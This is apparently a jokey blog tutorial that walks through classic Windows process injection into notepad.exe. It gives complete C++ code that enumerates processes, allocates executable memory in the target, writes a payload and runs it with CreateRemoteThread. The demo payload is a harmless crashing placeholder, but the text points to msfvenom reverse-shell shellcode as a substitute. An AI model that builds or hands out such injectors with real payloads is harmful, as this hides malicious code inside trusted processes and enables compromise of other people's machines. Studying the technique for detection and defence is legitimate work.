What are Thooooose?
Welcome back, brave adventurers! 🧙♂️
Assuming you already know what a process and thread are… but if not, fear not! I’ll do my best to explain it simply.
Sound good? Oh well — here we go anyway…
Explanation (Process vs Thread)
A process is an instance of a program that’s currently being executed. It gets its own chunk of resources like memory and CPU time. Think of it like a fully equipped knight setting out on a quest — armor, weapons, a map.
A thread, on the other hand, is the smallest unit of execution within a process. It’s like the knight’s limbs — each arm or leg doing a different task at the same time. Threads share the same memory space, but can act independently as well.
Process and Thread — diagram
Grey’s Anatomy
Now that you’re equipped with some brain juice, let’s get into it! So… what is process injection anyway?
In layman’s terms, it means injecting our own code into a legitimate process such as notepad.exe
, and making it execute on our behalf.
Here’s a high-level view of how the program we’re going to build works:
First, we need to enumerate the running processes to find our target process — like notepad.exe
— and obtain a handle to it. Then, we allocate memory inside the target process and set the appropriate permissions.
Next, we write our malicious code into this newly allocated memory. Finally, we create a remote thread within the target process and tell it, “Hey, start running that thing I just gave you.” And just like that — BOOM! 💥
Process Injection — diagram
Enumerate Processes
First things first — let’s create a function called EnumerateProcess()
.
Guess what it does? Yup, you got it! It enumerates running processes to find the PID of the target process and returns a handle to it.
HANDLE EnumerateProcess(LPCWSTR processName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) { printf("[ERR] invalid process snapshots. [code]-> %ld\n", GetLastError()); return NULL; }
PROCESSENTRY32 pe; pe.dwSize = sizeof(pe);
if (!Process32First(hSnapshot, &pe)) { printf("[ERR] could not enumerate processes. [code]-> %ld\n", GetLastError()); return NULL; }
do { if (_wcsicmp(pe.szExeFile, processName) == 0) { DWORD PID = pe.th32ProcessID; printf("[INF] trying to open handle on [program]-> %ls, on [pid]-> %d\n", processName, PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID); if (hProcess == NULL) { printf("[ERR] could not open handle on [pid]-> %d, continuing...\n", PID); } else { printf("[INF] successfully got handle on [pid]-> %d\n", PID); CloseHandle(hSnapshot); return hProcess; } } } while (Process32Next(hSnapshot, &pe));
CloseHandle(hSnapshot); return NULL;}
This function uses the CreateToolhelp32Snapshot WinAPI to take a snapshot of all running processes. Then, it loops through each one of them, comparing the process name to our target (processName
).
Once it finds a match, it grabs the PID and tries to open a handle to the process using OpenProcess. If successful, it returns the handle.
Creating Shellcode
Before we continue, we need to create a super duper dangerous payload. 😈
You can generate shellcode using tools like msfvenom if you want a reverse shell callback, or go fancy with donut to convert .NET assemblies or PE files into shellcode.
However, for this blog, I’ll be using the most sophisticated payload ever created…
An invalid shellcode. 😂
What does it do?
Absolutely nothing. When injected into a process, it just crashes the process immediately. Beautifully useless — perfect for testing purposes without risking anything going rogue.
unsigned char payload[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41";
Note
This is great for testing your injection logic — you’ll know it worked if the target process suddenly drops dead. 💀
Allocate Memory in the Remote Process
Moving swiftly on — once we’ve identified the target process, the next step is to allocate memory within it. To make this happen, we’ll use VirtualAllocEx, which reserves a region of memory in the virtual address space of the remote process.
It’s like claiming a parking spot in someone else’s garage — we’re reserving space to drop off our “package” later.
printf("[INF] allocating [memory]-> %lld bytes\n", sizeof(payload));LPVOID pBuff = VirtualAllocEx(hProcess, NULL, sizeof(payload), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (pBuff == NULL) { printf("[ERR] could not allocate memory. [code]-> %ld\n", GetLastError()); return FALSE;}printf("[INF] successfully allocated at [address]-> %p\n", pBuff);
This memory is marked as readable, writable, and executable (RWX), so we can store and later execute our shellcode in it.
Writing Payload into Allocated Memory
Remember, adventurers!
Earlier we only allocated memory — which means we just reserved the space. Now it’s time to actually write into that space. To do this, we’ll use WriteProcessMemory. This API lets us write our payload into the allocated memory region inside the target process.
We’ll pass in the process handle, the address we allocated (pBuff
), the payload itself, and the size of that payload.
if (WriteProcessMemory(hProcess, pBuff, payload, sizeof(payload), NULL) == 0) { printf("[ERR] could not write to memory. [code]-> %ld\n", GetLastError()); return FALSE;}
printf("[INF] successfully written payload to memory\n");
And just like that, our malicious bytes are now living rent-free inside notepad.exe
(or whatever process you chose). We’re getting closer to full control.
Executing the Payload
Finally! The last step.
To execute our malicious payload, we need to create a new thread inside the target process. For that, we’ll use CreateRemoteThread. This API lets us start a new thread that begins executing at the memory address where we placed our payload (pBuff
).
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pBuff, NULL, NULL, NULL);
if (hThread == NULL) { printf("[ERR] could not create new thread. [code]-> %ld\n", GetLastError()); return FALSE;}printf("[INF] successfully created a thread.\n");
Once this runs, the thread starts executing your payload — meaning your shellcode is now live and running inside another process.
Main Functions
Let’s put it all together, shall we? We’re going to create two
main functions to keep things neat and modular.
First, the process enumeration part will live inside the EnumerateProcess(LPCWSTR processName)
function, which accepts the process name as an argument.
Then, the actual injection will be handled by InjectProcess(HANDLE hProcess, unsigned char payload[])
, which takes a handle to the target process and our malicious payload.
#include <windows.h>#include <iostream>#include <string>#include <tlhelp32.h>
HANDLE EnumerateProcess(LPCWSTR processName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) { printf("[ERR] invalid process snapshots. [code]-> %ld\n", GetLastError()); return NULL; }
PROCESSENTRY32 pe; pe.dwSize = sizeof(pe);
if (!Process32First(hSnapshot, &pe)) { printf("[ERR] could not enumerate processes. [code]-> %ld\n", GetLastError()); return NULL; }
do { if (_wcsicmp(pe.szExeFile, processName) == 0) { DWORD PID = pe.th32ProcessID; printf("[INF] trying to open handle on [program]-> %ls, on [pid]-> %d\n", processName, PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID); if (hProcess == NULL) { printf("[ERR] could not open handle on [pid]-> %d, continuing...\n", PID); } else { printf("[INF] successfully got handle on [pid]-> %d\n", PID); CloseHandle(hSnapshot); return hProcess; } } } while (Process32Next(hSnapshot, &pe));
CloseHandle(hSnapshot); return NULL;}
BOOL InjectProcess(HANDLE hProcess, unsigned char payload[]) { DWORD PID = NULL;
if (hProcess != NULL) { printf("[INF] allocating [memory]-> %lld bytes\n", sizeof(payload)); LPVOID pBuff = VirtualAllocEx(hProcess, NULL, sizeof(payload), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (pBuff == NULL) { printf("[ERR] could not allocate memory. [code]-> %ld\n", GetLastError()); return FALSE; } printf("[INF] successfully allocated at [address]-> %p\n", pBuff);
if (WriteProcessMemory(hProcess, pBuff, payload, sizeof(payload), NULL) == 0) { printf("[ERR] could not write to memory. [code]-> %ld\n", GetLastError()); return FALSE; }
printf("[INF] successfully written payload to memory\n"); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pBuff, NULL, NULL, NULL);
if (hThread == NULL) { printf("[ERR] could not create new thread. [code]-> %ld\n", GetLastError()); return FALSE; } printf("[INF] successfully created a thread.\n"); } else { printf("[ERR] could not obtain handle. [code]-> %ld\n", GetLastError()); return FALSE; }
return TRUE;}
int main(int argc, char* argv[]) { unsigned char payload[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41";
LPCWSTR processName = L"notepad.exe"; HANDLE hProcess = EnumerateProcess(processName); InjectProcess(hProcess, payload);
return EXIT_SUCCESS;}
Inject Me
Now, let’s run our program. If everything works, you’ll see notepad.exe
crash gloriously — a sure sign that our payload was successfully injected and executed. 🎯
Process injection in action
Sadly, we’ve come to the end of our journey. Every. Single. Time. Man!
Oh well… I guess we’ll meet again on the next adventure? 🤞
As always, don’t forget to sip the elixir of knowledge down here: